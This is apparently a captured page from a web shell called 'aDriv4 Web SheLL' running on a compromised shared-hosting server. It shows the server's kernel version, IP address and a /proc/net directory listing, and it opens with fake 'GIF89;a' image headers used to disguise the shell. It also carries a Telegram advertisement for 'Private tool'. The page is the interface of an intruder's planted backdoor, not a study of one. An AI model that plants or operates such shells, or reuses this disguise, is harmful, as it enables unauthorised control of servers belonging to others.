GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium155.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
 LiteSpeed
 162.0.235.200
Name Type Size Owner/Group Permission Last Modified Actions
. dir - garumycc/garumycc 0555 2026-01-22 09:59:09
.. dir - garumycc/garumycc 0555 2026-01-22 09:59:09
dev_snmp6 dir - root/root 0555 2026-01-22 09:59:09
netfilter dir - root/root 0555 2026-01-22 09:59:09
nfsfs dir - root/root 0555 2026-01-22 09:59:09
rpc dir - root/root 0555 2026-01-22 09:59:09
stat dir - root/root 0555 2026-01-22 09:59:09
anycast6 application/x-empty 0 B root/root 0444 2026-01-22 09:59:09
arp text/plain 0 B root/root 0444 2026-01-22 09:59:09
connector text/plain 0 B root/root 0444 2026-01-22 09:59:09
dev text/plain 0 B root/root 0444 2026-01-22 09:59:09
dev_mcast text/plain 0 B root/root 0444 2026-01-22 09:59:09
fib_trie text/plain 0 B root/root 0444 2026-01-22 09:59:09
fib_triestat text/plain 0 B root/root 0444 2026-01-22 09:59:09
icmp text/plain 0 B root/root 0444 2026-01-22 09:59:09
icmp6 text/plain 0 B root/root 0444 2026-01-22 09:59:09
if_inet6 text/plain 0 B root/root 0444 2026-01-22 09:59:09
igmp text/plain 0 B root/root 0444 2026-01-22 09:59:09
igmp6 text/plain 0 B root/root 0444 2026-01-22 09:59:09
ip6_flowlabel text/plain 0 B root/root 0444 2026-01-22 09:59:09
ip6_mr_cache text/plain 0 B root/root 0444 2026-01-22 09:59:09
ip6_mr_vif text/plain 0 B root/root 0444 2026-01-22 09:59:09
ip_mr_cache text/plain 0 B root/root 0444 2026-01-22 09:59:09
ip_mr_vif text/plain 0 B root/root 0444 2026-01-22 09:59:09
ip_tables_matches 0 B root/root 0440 2026-01-22 09:59:09
ip_tables_names 0 B root/root 0440 2026-01-22 09:59:09
ip_tables_targets 0 B root/root 0440 2026-01-22 09:59:09
ipv6_route text/plain 0 B root/root 0444 2026-01-22 09:59:09
mcfilter text/plain 0 B root/root 0444 2026-01-22 09:59:09
mcfilter6 text/plain 0 B root/root 0444 2026-01-22 09:59:09
netlink text/plain 0 B root/root 0444 2026-01-22 09:59:09
netstat text/plain 0 B root/root 0444 2026-01-22 09:59:09
nf_conntrack 0 B root/root 0440 2026-01-22 09:59:09
nf_conntrack_expect 0 B root/root 0440 2026-01-22 09:59:09
packet text/plain 0 B root/root 0444 2026-01-22 09:59:09
protocols text/plain 0 B root/root 0444 2026-01-22 09:59:09
psched text/plain 0 B root/root 0444 2026-01-22 09:59:09
ptype text/plain 0 B root/root 0444 2026-01-22 09:59:09
raw text/plain 0 B root/root 0444 2026-01-22 09:59:09
raw6 text/plain 0 B root/root 0444 2026-01-22 09:59:09
route text/plain 0 B root/root 0444 2026-01-22 09:59:09
rt6_stats text/plain 0 B root/root 0444 2026-01-22 09:59:09
rt_acct application/octet-stream 0 B root/root 0444 2026-01-22 09:59:09
rt_cache text/plain 0 B root/root 0444 2026-01-22 09:59:09
snmp text/plain 0 B root/root 0444 2026-01-22 09:59:09
snmp6 text/plain 0 B root/root 0444 2026-01-22 09:59:10
sockstat text/plain 0 B root/root 0444 2026-01-22 09:59:10
sockstat6 text/plain 0 B root/root 0444 2026-01-22 09:59:10
softnet_stat text/plain 0 B root/root 0444 2026-01-22 09:59:09
tcp text/plain 0 B root/root 0444 2026-01-22 09:59:10
tcp6 text/plain 0 B root/root 0444 2026-01-22 09:59:10
udp text/plain 0 B root/root 0444 2026-01-22 09:59:11
udp6 text/plain 0 B root/root 0444 2026-01-22 09:59:11
udplite text/plain 0 B root/root 0444 2026-01-22 09:59:11
udplite6 text/plain 0 B root/root 0444 2026-01-22 09:59:11
unix text/plain 0 B root/root 0444 2026-01-22 09:59:11
xfrm_stat text/plain 0 B root/root 0444 2026-01-22 09:59:11
© aDriv4